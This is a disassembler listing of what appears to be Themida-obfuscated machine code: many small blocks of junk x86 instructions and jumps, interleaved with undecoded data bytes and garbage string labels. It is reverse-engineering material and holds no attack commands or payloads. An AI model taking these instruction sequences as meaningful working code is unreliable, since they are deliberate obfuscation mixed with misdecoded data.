loc_556E67:				; CODE XREF: Themida_:005622C1j
		sub	[esp+2], al
		pop	ax
		sub	[esp], ch
		add	byte ptr [esp],	3
		push	edx
		mov	dh, 0B3h
		add	[esp+4], dh
		pop	edx
		mov	ch, [esp]
		jmp	loc_553F51
; ---------------------------------------------------------------------------
		dd 240C8B66h, 82B5E9h, 241C8900h, 0F7240487h, 0A5F2E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556E9A:				; CODE XREF: Themida_:00562570j
		pop	ecx
		jmp	loc_5560BF
; ---------------------------------------------------------------------------
		dd 0E940478Fh, 0FFFF896Eh
; ---------------------------------------------------------------------------


loc_556EA8:				; CODE XREF: Themida_:0055A89Cj
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 3A13019Ch
		xor	ebx, 0ED1ADB83h
		sub	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ecx, edi
		jmp	loc_56445C
; ---------------------------------------------------------------------------


loc_556ECC:				; CODE XREF: Themida_:00552714j
		pop	ebp
		push	ebx
		jmp	loc_555A56
; ---------------------------------------------------------------------------


loc_556ED3:				; CODE XREF: Themida_:0055DD16j
		pop	ecx
		sub	edx, 1
		inc	edx
		jmp	loc_556DA1
; ---------------------------------------------------------------------------
		dd 2414F756h, 0E924348Bh, 3494h, 0B9C8E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556EF2:				; CODE XREF: Themida_:0055EEB7j
		pop	edi
		add	ebx, edi
		add	ebx, 1B362F3Eh
		jmp	loc_563A9F
; ---------------------------------------------------------------------------
aUs		db 'U,',0
		align 2
		dw 8B66h
		dd 0A1682404h, 89000027h, 0FF542404h, 48B2434h,	0DC5DE924h
		db 2 dup(0FFh),	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_560D4E
; ---------------------------------------------------------------------------


loc_556F39:				; CODE XREF: Themida_:0055038Fj
		add	eax, ebp
		pop	ebp
		add	eax, 7A1E67BEh
		sub	eax, 9951082h
		push	ecx
		jmp	loc_562402
; ---------------------------------------------------------------------------
		dd 0E958E300h, 0FFFFBD4Ch, 3064122Dh, 34FF5A5Bh, 0C4815924h
		dd 4, 53B46855h, 0E95D07CEh, 608Eh
; ---------------------------------------------------------------------------


loc_556F70:				; CODE XREF: Themida_:00561AB1j
		mov	ebx, [esp]
		jmp	loc_564357
; ---------------------------------------------------------------------------


loc_556F78:				; CODE XREF: Themida_:00552E52j
		sub	esp, 4
		mov	[esp], ebp
		push	5568h
		mov	[esp], edi
		push	7B5921E4h
		jmp	loc_558AC7
; ---------------------------------------------------------------------------
		db 29h
		dd 85E9240Ch, 870000C7h, 895C241Ch, 4812424h, 424h, 0C55DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556FAE:				; CODE XREF: Themida_:00559211j
		inc	ecx
		dec	ecx
		jmp	loc_55FF33
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 2404875Ch, 0E9C9095Ch, 78EAh
		dd 0EB28AAB5h, 0FFD83059h, 79E92434h, 5A000093h, 0EA31D531h
		dd 0EF31D531h, 0EF31FD31h, 79B068h, 243C8900h, 42474FFh
		dd 50243C8Bh, 32A1E9h, 243C3300h, 1E6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_557009:				; CODE XREF: Themida_:0055AFABj
		push	ebx
		mov	ebx, esp
		jmp	loc_558E1F
; ---------------------------------------------------------------------------


loc_557011:				; CODE XREF: Themida_:005598E4j
		push	esp
		jmp	loc_557C9B
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 875EF329h, 34E9241Ch, 89FFFFB2h, 405E0h, 4050000h
		dd 87000000h, 0D2E92404h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55703B:				; CODE XREF: Themida_:0055DD58j
		inc	esi
		inc	esi
		add	esi, 1
		sub	esi, 1
		jmp	loc_5584AC
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048124h, 4, 3E6EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55705E:				; CODE XREF: Themida_:005585A6j
		sub	edi, 658846D8h
		jmp	loc_5523B1
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0FFC057E9h, 0F75646FFh, 0E95E2414h, 0BADBh, 2EA5EA81h
		dd 2033FB7h, 240C8B5Ah,	81E78957h, 4C7h, 4C78300h, 31243C33h
		dd 2BE9243Ch, 0B8000039h, 4, 3358C201h,	14312414h, 1D32E924h
		dd 8B660000h, 89522414h, 8B0DE9E2h, 0C381FFFFh,	4, 8B241C87h
		dd 89532424h, 4C381E3h,	52000000h, 4BAh, 5AD32900h, 0E9241C33h
		dd 80B6h, 0E904C483h, 0FFFFC34Ch, 0C8AF0F66h, 0E99C5166h
		dd 0FFFF871Eh
; ---------------------------------------------------------------------------


loc_5570F8:				; CODE XREF: Themida_:0055243Cj
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55FD79
; ---------------------------------------------------------------------------


loc_557113:				; CODE XREF: Themida_:00555FB0j
		push	ebx
		jmp	loc_55ED76
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 0FEh
		dd 0EFF580CDh, 0AA9E9h,	124A6800h, 63E90000h, 810000B0h
		dd 0F5AA18F5h, 0E9EB8961h, 7DFBh, 5B2434FFh, 8704C483h
		dd 95C240Ch, 0C6B2E9C0h, 0C3810000h, 1BA04D36h,	0EB81EB01h
		dd 1BA04D36h, 7B1EBF57h, 0A0E903AEh, 55000075h,	0C5815D54h
		dd 4, 0E904ED83h, 5CB4h, 24048B66h, 4EC81h, 1C890000h
		dd 0E9E38924h, 7026h
; ---------------------------------------------------------------------------


loc_55718C:				; CODE XREF: Themida_:005589A0j
		sub	eax, 0CDD3F37Bh
		jmp	loc_55C88E
; ---------------------------------------------------------------------------
		dw 0F131h
		dd 59CE015Eh, 0DE9F089h, 8B000083h, 0D0E9240Ch,	0B8FFFFE3h
		dd 7D462C1h, 0B833DA35h, 0B9515517h, 0D192252h,	0D0E98149h
		dd 0E9272919h, 0FFFF9555h, 0E924248Bh, 3939h, 4247C29h
		dd 57243C8Bh, 1D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5571DD:				; CODE XREF: Themida_:0055E829j
		pop	esp
		pop	edi
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_552FC1
; ---------------------------------------------------------------------------
		dd 48BC609h, 4C48124h, 0E9000000h, 0FFFFCD75h, 0BADCED81h
		dd 0EA019468h, 2C2835Dh, 0FFA7B8E9h, 8BDF01FFh,	0C481241Ch
		dd 4, 8704C783h, 685C243Ch, 33FCh, 57240C89h, 0D97064BFh
		dd 35B85052h, 892256F1h, 0E98158C1h, 16CB5BCDh,	0BE56F901h
		dd 12240F5Fh, 4C6EC681h, 0F10104A7h, 0C1495F5Eh, 0E98108E1h
		dd 0FFFFFFFFh, 0E905E1C1h, 0A71Eh
; ---------------------------------------------------------------------------


loc_557268:				; CODE XREF: Themida_:0055D34Dj
		sub	esi, 0F8B0E5F3h
		push	ecx
		push	edi
		mov	edi, esi
		mov	ecx, edi
		pop	edi
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_55ACF0
; ---------------------------------------------------------------------------


loc_557286:				; CODE XREF: Themida_:0055DD45j
		movzx	eax, al
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		jmp	loc_5527BE
; ---------------------------------------------------------------------------


loc_557297:				; CODE XREF: Themida_:00562BD1j
		sub	eax, 62E34B8Fh
		add	eax, edi
		jmp	loc_5597AF
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 0FFA075E9h, 0C1EAD1FFh, 0C28105E2h, 0A8DACED0h
		dd 815AD329h, 0F806BBEBh, 25176858h, 14890000h,	1D7BBA24h
		dd 0DAF7733Eh, 342BC281h, 3DE9C5AEh, 0F7FFFF8Ah, 4EC83D9h
		dd 0BD242C89h, 19577859h, 7398F581h, 0ED83112Dh, 2C581FFh
		dd 3181CDB9h, 18CAE9E9h, 0F3810000h, 82C87894h,	815BDD89h
		dd 0A32A8DC5h, 15ED8175h, 8164B134h, 430706EFh,	8D62E979h
		dd 148BFFFFh, 360A6824h, 0ACE90000h, 2D000082h,	29747A2h
		dd 0FFB960E9h, 4EB83FFh, 5C241C87h, 0FFD5DEE9h,	0D4B951FFh
		dd 16F4F79h, 0A27FE9CFh, 348BFFFFh, 4C48324h, 592434FFh
		dd 0E904C483h, 1ABh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55F092
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 0E99C5166h, 0FFFF849Eh
; ---------------------------------------------------------------------------


loc_557378:				; CODE XREF: Themida_:00550900j
		mov	ecx, 0FFA3CBFBh
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 3E880E68h
		not	edi
		xor	edi, 4A5C7DA9h
		or	edi, 708658E8h
		jmp	loc_55B2F3
; ---------------------------------------------------------------------------
		db 0B7h, 0D7h, 4
		dd 0E9F82892h, 0FFFF9FBDh, 0BCCB852Dh, 0E9C701F5h, 4528h
		dd 0C781E789h, 4, 41F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5573BD:				; CODE XREF: Themida_:00550BE4j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1
		sub	edx, ebp
		jmp	loc_5581A9
; ---------------------------------------------------------------------------
		dd 0E957D831h, 0FFFFF084h
; ---------------------------------------------------------------------------


loc_5573E0:				; CODE XREF: Themida_:00552FCBj
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 2
		push	esi
		jmp	loc_55D584
; ---------------------------------------------------------------------------


loc_5573ED:				; CODE XREF: Themida_:0055D343j
		sub	ecx, 0DA4C48A6h
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_563235
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1232E958h, 77FF0000h, 59669D1Ch, 9C241CD3h, 0FF8401E9h
		dd 39BB53FFh, 8129C308h, 782344CBh, 20EB8160h, 92382EBh
		dd 0DB05E9DAh, 0C4830000h, 7058E904h, 4F090000h, 0D7E9591Ch
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55743F:				; CODE XREF: Themida_:00564B2Bj
		pop	ecx
		add	ebp, 2D7E25E0h
		sub	ebp, edi
		sub	ebp, 2D7E25E0h
		push	dword ptr [esp]
		jmp	loc_55A56A
; ---------------------------------------------------------------------------
aSsF		db 'S',0
		align 4
		dd 24048B66h, 68585450h, 7B3Eh,	0B9240C89h, 3C3A2388h
		dd 5303E1C1h, 5B4EE9h, 243C8900h, 4BFh,	5FF92900h, 8904EC83h
		dd 74FF240Ch, 0F4E90424h, 0B8000047h, 7F6B1EEDh, 28792C05h
		dd 0F5354838h, 21A7A094h, 0F68158C6h, 2F2D3261h, 3B4DE9h
		dd 24048B00h, 490768h, 24348900h, 0B9E9E689h, 3000003Ch
		dd 4EC81D8h, 89000000h,	4DE92434h, 5C00002Dh, 5724348Bh
		dd 48E95F54h, 8100001Eh, 4C4h, 68DDF600h, 6936h, 51241489h
		dd 0C9FE7CB1h, 0C004E9C0h, 9AE906E9h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5574FF:				; CODE XREF: Themida_:0055EDA7j
		pop	ecx
		mov	ebp, 92E1963Bh
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_551E9B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 60EB8024h, 50D2EB80h
		dd 2E0406B0h, 0E8C0C8FEh, 380408h, 97A2E9C3h, 0D7010000h
		dd 5324148Bh, 0D71FE9h,	0F7515C00h, 0C1592414h,	0D1F702E1h
		dd 0FFD636E9h, 10BF57FFh, 8147970Bh, 94260EEFh,	0E525E921h
		dd 0C281FFFFh, 79052BB4h, 0E4DEA81h, 34FF322Fh,	0C4815D24h
		dd 4, 324568h, 24148900h, 42474FFh, 8324148Bh, 80E904C4h
		dd 89FFFFCAh, 82BDE9E2h, 0CA01FFFFh, 6F66C281h,	815926EBh
		dd 4ECh, 24348900h, 2BEh, 93BE5600h, 0E9106976h, 0FFFFA64Fh
; ---------------------------------------------------------------------------


loc_5575BC:				; CODE XREF: Themida_:0056262Dj
		push	0CC5h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7476275h
		inc	ecx
		push	ebx
		mov	ebx, esp
		push	404Ah
		mov	[esp], ebp
		mov	ebp, 6EB23FF6h
		push	ebp
		dec	dword ptr [esp]
		pop	ebp
		shr	ebp, 5
		shr	ebp, 2
		xor	ebp, 47BB049Ch
		add	ebp, 0C675413h
		jmp	loc_559B18
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 83582434h, 0B06804C4h, 8900002Bh, 0E6892434h
		dd 1DD3BB53h, 0CB81040Bh, 1C555B50h, 0FFFFC381h, 0E381FFFFh
		dd 2CE67945h, 0C949E9h
		db 0
; ---------------------------------------------------------------------------


loc_55762D:				; CODE XREF: Themida_:00555AF5j
		sub	ecx, eax
		pop	eax
		jmp	loc_562A9E
; ---------------------------------------------------------------------------


loc_557635:				; CODE XREF: Themida_:00552657j
		sub	eax, ebp
		pop	ebp
		and	eax, 480F24DAh
		add	eax, 0FFFFFFFFh
		add	eax, 1795535Eh
		or	edi, eax
		pop	eax
		push	eax
		mov	eax, 60122510h
		sub	edi, 77C2693Bh
		add	edi, eax
		add	edi, 77C2693Bh
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 390B5438h
		or	edi, ecx
		pop	ecx
		sub	edi, 1B122178h
		sub	edi, 3F185514h
		add	ebx, edi
		pop	edi
		sub	ebx, 6CB71B41h
		push	edi
		mov	edi, 2A59238Ch
		inc	edi
		not	edi
		jmp	loc_550400
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF817Eh, 0C8BCB01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_561093
; ---------------------------------------------------------------------------


loc_5576B4:				; CODE XREF: Themida_:0055C669j
		mov	ebx, [esp]
		add	esp, 4
		push	7B42h
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		add	[ebx], edx
		jmp	loc_555674
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5B9240Ch,	8166F441h, 8845B2E9h, 4EC81BCh
		dd 0E9000000h, 1624h, 124248Bh,	0A9BA52C8h, 0E9168932h
		dd 0FFFF820Ch
; ---------------------------------------------------------------------------


loc_5576FC:				; CODE XREF: Themida_:005627B2j
		add	esp, 4
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		not	bh
		jmp	loc_56088F
; ---------------------------------------------------------------------------
aUxaJ		db '(Xæ',0
aAijaGs		db 'À릀g',0
		db 0
; ---------------------------------------------------------------------------


loc_557727:				; CODE XREF: Themida_:00556682j
		pop	ebp
		sub	eax, 70A624FBh
		shl	eax, 7
		jmp	loc_555AA5
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd offset dword_52B048+4A1h
		dd 4AE95000h, 0B6000033h, 4E7CE9A8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55774A:				; CODE XREF: Themida_:0055537Cj
		add	ebp, 6E166BE1h
		pop	esi
		inc	ebp
		add	ebp, 920495BAh
		and	eax, ebp
		jmp	loc_550ACE
; ---------------------------------------------------------------------------
		db 56h
		dd 3D5694BEh, 3EEC138h,	290968h, 241C8900h, 0E2714ABBh
		dd 9BEB8168h, 0E91AF966h, 0FFFFCD15h
; ---------------------------------------------------------------------------


loc_557780:				; CODE XREF: Themida_:00555D88j
		xor	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_560DE1
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 8B2434FFh,	0C4832404h, 6BEB6804h, 34890000h
		dd 43E7E924h, 0E94A0000h, 5B2Ch, 0E9D830ACh, 4845h, 0E9242C89h
		dd 227Eh
; ---------------------------------------------------------------------------


loc_5577BC:				; CODE XREF: Themida_:0055D589j
		mov	[esp], ebx
		push	edi
		jmp	loc_552A0E
; ---------------------------------------------------------------------------
		db 5Fh,	0FFh, 34h
aZhi_		db '$Zh.',0
		dw 8900h
		dd 0A6E92404h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5577D7:				; CODE XREF: Themida_:0055471Fj
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	0AEDh
		mov	[esp], edx
		push	esi
		jmp	loc_55F273
; ---------------------------------------------------------------------------
		dd 3FE9D521h, 66FFFFCDh, 3DF8F381h, 0DE896656h,	5EF08966h
		dd 81241C8Bh, 4C4h, 0D8F76600h,	0C5133566h, 6AEB8166h
		dd 0C3016646h, 6AC38166h, 24048B46h, 6604C483h,	5BE5CB81h
		dd 0FF9003E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55782D:				; CODE XREF: Themida_:005644E4j
		push	edi
		jmp	loc_560D10
; ---------------------------------------------------------------------------
		db 81h
		dd 53905DC1h, 0E9CA8936h, 0FFFFBD34h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF7FCAh
; ---------------------------------------------------------------------------


loc_55784C:				; CODE XREF: Themida_:0055D93Dj
		pop	eax
		xchg	eax, ecx
		push	1CC1h
		mov	[esp], ecx
		push	ebx
		jmp	loc_55AAD3
; ---------------------------------------------------------------------------


loc_55785C:				; CODE XREF: Themida_:00561178j
		pop	esi
		jmp	loc_55F922
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4E57196Bh, 30D9C281h, 0EA815A9Bh, 0C34552Ch,	10ACE9h
		dd 24348900h, 4EE95E54h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557883:				; CODE XREF: Themida_:0055B0F6j
		sub	eax, 0FA5AE2D8h
		add	esi, 4DC74FF3h
		add	esi, eax
		sub	esi, 4DC74FF3h
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55A927
; ---------------------------------------------------------------------------
		dd 18E9F029h, 0B9000088h, 361850E5h, 5D84F181h,	0D9F735F8h
		dd 6D6FE981h, 0D9F72F84h, 8534C181h, 0CE89CC9Bh, 5EF50159h
		dd 7C27E9h, 68E95400h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5578DB:				; CODE XREF: Themida_:00563ACEj
		push	ebp
		push	edi
		push	22017A8Fh
		pop	edi
		xor	edi, 5B195194h
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5546D5
; ---------------------------------------------------------------------------
		dd 0C462F381h, 0E953F17Eh, 55CEh, 92E3E95Bh, 0BE56FFFFh
		dd 2A185B54h, 5EB0CE81h, 0EDE931A7h, 0F0000ACh,	34FFC0B6h
		dd 34A86887h, 3CE90000h, 590000B0h, 0CFC4E9h, 1C77FF00h
		dd 0D359669Dh, 0E99C2414h, 0FFFF7EDAh
; ---------------------------------------------------------------------------


loc_55793C:				; CODE XREF: Themida_:0055A7D0j
		pop	eax
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_561155
; ---------------------------------------------------------------------------


loc_557956:				; CODE XREF: Themida_:0055ACDBj
		shl	edx, 1
		push	61AAh
		jmp	loc_560FFB
; ---------------------------------------------------------------------------
		dw 0E9F7h
		dd offset dword_56A368
		dd 24048900h, 54525854h, 9162E9h, 0EDC14D00h, 81D5F704h
		dd 9B7083CDh, 39F5816Bh, 2990C2AEh, 9D2D5DE8h, 533E7132h
		dd 1BBh, 76B02D00h, 0D8291D13h,	1376B005h, 53E95B1Dh
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5579A7:				; CODE XREF: Themida_:0055FE37j
		xchg	ebp, [esp]
		pop	esp
		and	ecx, eax
		push	dword ptr [esp]
		jmp	loc_55EED7
; ---------------------------------------------------------------------------
aSius		db 'S]',0
		dd 0E6895600h, 0C8D7E9h, 2474FF00h, 240C8B04h, 0E904C483h
		dd 39DDh
; ---------------------------------------------------------------------------


loc_5579D4:				; CODE XREF: Themida_:00564EEDj
		push	edx
		jmp	loc_54F821
; ---------------------------------------------------------------------------
		dw 905h
		dd 89585E35h, 24048BC1h, 4904C483h, 0E903E1C1h,	0BAA6h
		dd 0E9F80159h, 0BB72h
; ---------------------------------------------------------------------------


loc_5579F8:				; CODE XREF: Themida_:0055F0B0j
		pop	ebx
		jmp	loc_56346E
; ---------------------------------------------------------------------------


loc_5579FE:				; CODE XREF: Themida_:00552B4Dj
		xor	edx, 54292552h
		jmp	loc_554104
; ---------------------------------------------------------------------------


loc_557A09:				; CODE XREF: Themida_:005586A1j
		add	edx, 0C23BB72Ch
		add	esi, edx
		pop	edx
		jmp	loc_551173
; ---------------------------------------------------------------------------


loc_557A17:				; CODE XREF: Themida_:00563DF6j
		sub	ecx, 7BED079Fh
		pop	edi
		push	edx
		push	edi
		mov	edi, 36921E73h
		dec	edi
		jmp	loc_5613B7
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 0D68E789h, 89000048h, 6857240Ch, 393727E2h
		dd 52DFF75Fh, 4E64B3BAh, 74EA8176h, 0C14AE65Eh,	814A04EAh
		dd 6B249AF2h, 2A97E91Bh, 4810000h, 424h, 24048B00h, 4C481h
		dd 4050000h, 0E9000000h, 6B0Dh,	4BB53h,	0DF010000h, 4BE565Bh
		dd 81000000h, 0E7423FC7h, 0DDEF8141h, 29224A1Ah, 4EC81F7h
		dd 0E9000000h, 0B31Eh, 4BEh, 5EF00100h,	3304C083h, 4312404h
		dd 24043324h, 5324248Bh, 4BBh, 8BD80100h, 8952241Ch, 1B6FE9E2h
		dd 0C6810000h, 6722942h, 8AE9F089h, 68000002h, 5427h, 4C77E9h
		dd 6B902D00h, 34FF2186h, 0C4815A24h, 4,	0FFDA1AE9h, 1E6EBAFFh
		dd 0EAC13479h, 2557E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B02:				; CODE XREF: Themida_:0056436Dj
		pop	ecx
		push	esi
		mov	esi, 0BD42666h
		xor	ecx, esi
		jmp	loc_564C0F
; ---------------------------------------------------------------------------
		dd 245DBD55h, 0EF292C3Ah, 81242C8Bh, 4ECh, 24148900h, 0C281E289h
		dd 4, 4C281h, 85E90000h, 8BFFFFE2h, 0C4812404h,	4, 3C8BF829h
		dd 4C48324h, 1105D801h,	51187718h, 0A31894B9h, 0B171E90Fh
		dd 768FFFFh, 89000022h,	56E9242Ch, 53000013h, 621556BBh
		dd 86CB811Ah, 0C166DB63h, 2E902E3h, 1FFFFC5h, 0CBC4E9F8h
		dd 8B54FFFFh, 0E951243Ch, 0FFFFB8F9h
; ---------------------------------------------------------------------------


loc_557B8C:				; CODE XREF: Themida_:005518ACj
		push	esi
		jmp	loc_54F8B8
; ---------------------------------------------------------------------------
		dw 0C629h
		dd 55EE0158h, 4C6B27BDh, 5DEE0133h, 6FF2E95Dh, 34890000h
		dd 4EC8124h, 0E9000000h, 86CBh,	3332C681h, 0E9E91E44h
		dd 51FFFF82h, 0E957E189h, 82C3h, 0BF2FE956h, 0E828FFFFh
		dd 0EC815959h, 4, 0B1240C89h, 0CE43E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557BE2:				; CODE XREF: Themida_:005635BEj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_555CDB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2C8B2414h, 4C48324h,	510EF581h, 0B951EECBh, 3C592C72h
		dd 0FF9A6EE9h, 2BA52FFh, 5000000h, 25669DAh, 352EE9h, 8734FF00h
		dd 0FF2434FFh, 0F8E92434h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C33:				; CODE XREF: Themida_:00555726j
		pop	esp
		mov	[esp], ebp
		push	esi
		jmp	loc_54FDB3
; ---------------------------------------------------------------------------
aYs4c		db 9,'Y4c',0
		db 0
; ---------------------------------------------------------------------------


loc_557C45:				; CODE XREF: Themida_:0055CB73j
		not	bl
		add	bl, 94h
		sub	bl, 43h
		xor	al, bl
		pop	ebx
		push	eax
		mov	ah, 5Bh
		add	bl, ah
		pop	eax
		add	bl, al
		push	edx
		mov	dh, 0Eh
		xor	dh, 21h
		shl	dh, 7
		xor	dh, 9Dh
		jmp	loc_54F8FD
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0FDh
		dd 8B498D43h, 0C483240Ch, 4EC8304h, 2A5FE9h, 5BD90100h
		dd 6E4DBF57h, 0F901ADBDh, 0E9243C8Bh, 9F5Fh
; ---------------------------------------------------------------------------


loc_557C90:				; CODE XREF: Themida_:00559870j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560039
; ---------------------------------------------------------------------------


loc_557C9B:				; CODE XREF: Themida_:00557012j
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551A68
; ---------------------------------------------------------------------------
		dd 0E904E1C1h, 0FFFFFB77h, 4900B850h, 0C2317D35h, 5AD78958h
		dd 290C68h, 242C8900h, 150F47BDh, 0FFB95166h, 292590D2h
		dd 0ACE959CDh, 8B000043h, 0C4812414h, 4, 815DBF57h, 0F9010297h
		dd 10C2815Fh, 0E97E5D13h, 6544h, 515BDD31h, 0B77474B9h
		dd 59CE294Ah, 79AAE9h, 32FF6600h, 0FF7AFDE9h, 24348BFFh
		dd 4C481h, 0C4810000h, 4, 46857h, 3C8B0000h, 0E3895324h
		dd 4C381h, 0B8E90000h, 5EFFFFCEh, 8B5FFD01h, 0C4812404h
		dd 4, 0BAC7E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D52:				; CODE XREF: Themida_:0055FFB8j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5562B0
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 0FF7AB5E9h, 24348BFFh, 4C481h, 0F8290000h, 0B1C6E9h
		dd 0BF574D00h, 0FF82E02Dh, 29E9FD31h, 8100007Ch, 0AC41EFE9h
		dd 0C5E98134h, 294C6E42h, 0C5C181C1h, 504C6E42h, 3F7230B8h
		dd 34E99222h, 8B000054h, 0C483241Ch, 6149E904h,	8F5F0000h
		dd 0D0E92404h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557DB3:				; CODE XREF: Themida_:00554E30j
		add	esp, 4
		jmp	loc_552167
; ---------------------------------------------------------------------------
aBiqc8Hpd	db 'qC!8)hd',0
		align 4
aST		db '',27h,'t',0
		dd 8AC58100h, 0E9615071h, 0AC4Ch, 0E904C483h, 144Ch, 8306E1C1h
		dd 0EC81FFE9h, 4, 51240489h, 7D1930B9h,	59C8897Bh, 6C6AE948h
		dd 0C3810000h, 1BFC447Bh, 0FFE445E9h, 0BCBF57FFh, 0E96DC92Dh
		dd 84A9h
; ---------------------------------------------------------------------------


loc_557E14:				; CODE XREF: Themida_:0056104Bj
		push	edi
		push	eax
		push	ebx
		mov	ebx, 4D0C1192h
		shr	ebx, 3
		neg	ebx
		jmp	loc_552748
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 875EF729h, 895C243Ch, 0E952241Ch,	0FFFF8C4Ch, 999EEB81h
		dd 0D8296130h, 4AD5E9h,	25685F00h, 89000076h, 34FF2434h
		dd 0C4835D24h, 2434FF04h, 8124348Bh, 4C4h, 4C48300h, 2C8BE801h
		dd 4C48124h, 0E9000000h, 0AE08h
; ---------------------------------------------------------------------------


loc_557E78:				; CODE XREF: Themida_:0056433Dj
		sub	ebx, eax
		sub	ebx, 6D0E0180h
		jmp	loc_5565D4
; ---------------------------------------------------------------------------


loc_557E85:				; CODE XREF: Themida_:0056153Ej
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	7C9B40FFh
		pop	ebp
		shl	ebp, 5
		add	ebp, 0E5943706h
		jmp	loc_558CC5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 5124048Bh, 0EC81E189h, 4,	0FFC482E9h, 0EB8143FFh
		dd 91C1B879h, 34FFDA89h, 0C4815B24h, 4,	6BB6C781h, 0C781404Bh
		dd 1E110845h, 0EF81D701h, 1E110845h, 6BB6EF81h,	148B404Bh
		dd 25E95024h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557EF7:				; CODE XREF: Themida_:005533D6j
		mov	esi, 4F81687Fh
		add	esi, 8BA71C6h
		jmp	loc_553249
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 79B8EA81h, 0EA013F37h, 79B8C281h,	0DE93F37h, 570000BCh
		dd 4BFh, 0E9F80100h, 0FFFFC698h, 65ABC781h, 0F931FD64h
		dd 685Fh, 4810000h, 0AC0ADB24h,	0F04DE936h, 0C89FFFFh
		dd 2474FF24h, 48F5904h,	24248B24h, 0C868E9h
